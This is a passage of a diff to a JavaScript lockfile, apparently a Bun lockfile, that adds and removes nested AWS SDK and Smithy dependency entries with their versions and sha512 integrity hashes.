"sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-browser/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-xBmawExyTzOjbhzkZwg+vVm/khg28kG+rj2sbGlULjFd1jI70sv/cbpaR0Ev4Yfd6CpDUDRMe64cTqR//wAOyA=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0" } }, "sha512-Q73XBrzJlGTut2nf5RglSntHKgAG0+KiTJdO5QQblLfr4TdliGwIAha1iZIjwisc3rA5ulzqwwsYC6xrclxVQg=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], - "@aws-sdk/client-cognito-identity/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@4.1.0", "", { "dependencies": { "@smithy/is-array-buffer": "^3.0.0", "@smithy/protocol-http": "^4.1.0", "@smithy/types": "^3.3.0", "@smithy/util-hex-encoding": "^3.0.0", "@smithy/util-middleware": "^3.0.3", "@smithy/util-uri-escape": "^3.0.0", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-aRryp2XNZeRcOtuJoxjydO6QTaVhxx/vjaR+gx7ZjaFgrgPRyZ3HCTbfwqYj6ZWEBHkCSUfcaymKPURaByukag=="], "@aws-sdk/client-cognito-identity/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@3.1.4", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-qMxS4hBGB8FY2GQqshcRUy1K6k8aBWP5vwm8qKkCT3A9K2dawUwOIJfqh9Yste/Bl0J2lzosVyrXDj68kLcHXQ=="], @@ -6443,6 +6659,8 @@ "@aws-sdk/client-kendra/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="], + "@aws-sdk/client-kendra/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="], + "@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/property-provider": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-bAllBpmaWINpf0brXQWh/hjkBctapknZPYb3FJRlBHytEGHi7TpgqBXi8riT0tc6RVWChhnw58rQz22acOmBuw=="], "@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-jEvb8C7tuRBFhe8vZY9vm9z6UQnbP85IMEt3Qiz0dxAd341Hgu0lOzMv5mSKQ5yBnTLq+t3FPKgD9tIiHLqxSQ=="], @@ -6499,10 +6717,6 @@ "@aws-sdk/client-kendra/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], - "@aws-sdk/client-s3/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="], - - "@aws-sdk/client-s3/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="], - "@aws-sdk/client-sso-oidc/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@4.1.0", "", { "dependencies": { "@smithy/is-array-buffer": "^3.0.0", "@smithy/protocol-http": "^4.1.0", "@smithy/types": "^3.3.0", "@smithy/util-hex-encoding": "^3.0.0", "@smithy/util-middleware": "^3.0.3", "@smithy/util-uri-escape": "^3.0.0", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-aRryp2XNZeRcOtuJoxjydO6QTaVhxx/vjaR+gx7ZjaFgrgPRyZ3HCTbfwqYj6ZWEBHkCSUfcaymKPURaByukag=="], "@aws-sdk/client-sso-oidc/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@3.1.4", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-qMxS4hBGB8FY2GQqshcRUy1K6k8aBWP5vwm8qKkCT3A9K2dawUwOIJfqh9Yste/Bl0J2lzosVyrXDj68kLcHXQ=="], @@ -6589,104 +6803,46 @@ "@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-utf8": ["@smithy/util-utf8@3.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-rUeT12bxFnplYDe815GXbq/oixEGHfRFFtcTF3YdDi/JaENIM6aSYYLJydG83UNzLXeRI5K8abYd/8Sp/QM0kA=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.930.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-YIfkD17GocxdmlUVc3ia52QhcWuRIUJonbF8A2CYfcWNV3HzvAqpcPeC0bYUhkK+8e8YO1ARnLKZQE0TlwzorA=="], - - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core": ["@smithy/core@3.19.0", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.7", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-stream": "^4.5.7", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-Y9oHXpBcXQgYHOcAEmxjkDilUbSTkgKjoHYed3WaYUH8jngq8lPWDBSpjHblJ9uOgBdy5mh3pzebrScDdYr29w=="], - - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.6", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-fYEyL59Qe82Ha1p97YQTMEQPJYmBS+ux76foqluaTVWoG9Px5J53w6NvXZNE3wP7lIicLDF7Vj1Em18XTX7fsA=="], - - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="], - - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.10.1", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-endpoint": "^4.4.0", "@smithy/middleware-stack": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-stream": "^4.5.7", "tslib": "^2.6.2" } }, "sha512-1ovWdxzYprhq+mWqiGZlt3kF69LJthuQcfY9BIyHx9MywTFKzFapluku1QXoaBB43GCsLDxNqS+1v30ure69AA=="], - - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="], - - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="], - - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], - - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="], - - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.758.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-YZ5s7PSvyF3Mt2h1EQulCG93uybprNGbBkPmVuy/HMMfbFTt4iL3SbKjxqvOZelm86epFfj7pvK7FliI2WOEcg=="], - - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso": ["@aws-sdk/client-sso@3.758.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-BoGO6IIWrLyLxQG6txJw6RT2urmbtlwfggapNCrNPyYjlXpzTSJhBYjndg7TpDATFd0SXL0zm8y/tXsUXNkdYQ=="], - - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers": ["@aws-sdk/token-providers@3.758.0", "", { "dependencies": { "@aws-sdk/nested-clients": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-ckptN1tNrIfQUaGWm/ayW1ddG+imbKN7HHhjFdS4VfItsP0QQOB0+Ov+tpgb4MoNR4JaUghMIVStjIeHN2ks1w=="], - - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.758.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-YZ5s7PSvyF3Mt2h1EQulCG93uybprNGbBkPmVuy/HMMfbFTt4iL3SbKjxqvOZelm86epFfj7pvK7FliI2WOEcg=="], - "@aws-sdk/credential-providers/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@3.1.4", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-qMxS4hBGB8FY2GQqshcRUy1K6k8aBWP5vwm8qKkCT3A9K2dawUwOIJfqh9Yste/Bl0J2lzosVyrXDj68kLcHXQ=="], - "@aws-sdk/middleware-websocket/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.6", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-olIfZ230B64TvPD6b0tPvrEp2eB0FkyL3KvDlqF4RVmIc/kn3orzXnV6DTQdOOW5UU+M5zKY3/BU47X420/oPw=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3": ["@aws-sdk/middleware-sdk-s3@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-arn-parser": "3.723.0", "@smithy/core": "^3.1.5", "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-6mJ2zyyHPYSV6bAcaFpsdoXZJeQlR1QgBnZZ6juY/+dcYiuyWCdyLUbGzSZSE7GTfx6i+9+QWFeoIMlWKgU63A=="], - "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="], - "@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core": ["@smithy/core@3.1.5", "", { "dependencies": { "@smithy/middleware-serde": "^4.0.2", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLclGWPkCsekQgsyzxLhCQLa8THWXtB5PxyYN+2O6nkyLt550KQKTlbV2D1/j5dNIQapAZM1+qFnpBFxZQkgCA=="], - "@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.0.2", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Sdr5lOagCn5tt+zKsaW+U2/iwr6bI9p08wOkCp6/eL6iMbgdtc2R5Ety66rf87PeohR0ExI84Txz9GYv5ou3iQ=="], - "@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/node-config-provider": ["@smithy/node-config-provider@4.0.1", "", { "dependencies": { "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-8mRTjvCtVET8+rxvmzRNRR0hH2JjV0DFOmwXPrISmTIJEfnCBugpYYGAsCj8t41qd+RB5gbheSQ/6aKZCQvFLQ=="], - "@aws-sdk/nested-clients/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.930.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-YIfkD17GocxdmlUVc3ia52QhcWuRIUJonbF8A2CYfcWNV3HzvAqpcPeC0bYUhkK+8e8YO1ARnLKZQE0TlwzorA=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-hC8F6qTBbuHRI/uqDgqqi6J0R4GtEZcgrZPhFQnMhfJs3MnUTGSnR1NSJCJs5VWlMydu0kJz15M640fJlRsIOw=="], - "@aws-sdk/nested-clients/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.0.1", "", { "dependencies": { "@smithy/querystring-parser": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-gPXcIEUtw7VlK8f/QcruNXm7q+T5hhvGu9tl63LsJPZ27exB6dtNwvh2HIi0v7JcXJ5emBxB+CJxwaLEdJfA+g=="], - "@aws-sdk/nested-clients/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], - "@aws-sdk/nested-clients/@smithy/config-resolver/@smithy/util-config-provider": ["@smithy/util-config-provider@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-YEjpl6XJ36FTKmD+kRJJWYvrHeUvm5ykaUS5xK+6oXffQPHeEM4/nXlZPe+Wu0lsgRUcNZiliYNh/y7q9c2y6Q=="], + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core": ["@smithy/core@3.1.5", "", { "dependencies": { "@smithy/middleware-serde": "^4.0.2", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLclGWPkCsekQgsyzxLhCQLa8THWXtB5PxyYN+2O6nkyLt550KQKTlbV2D1/j5dNIQapAZM1+qFnpBFxZQkgCA=="], - "@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="], + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dHwDmrtR/ln8UTHpaIavRSzeIk5+YZTBtLnKwDW3G2t6nAupCiQUvNzNoHBpik63fwUaJPtlnMzXbQrNFWssIA=="], - "@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, 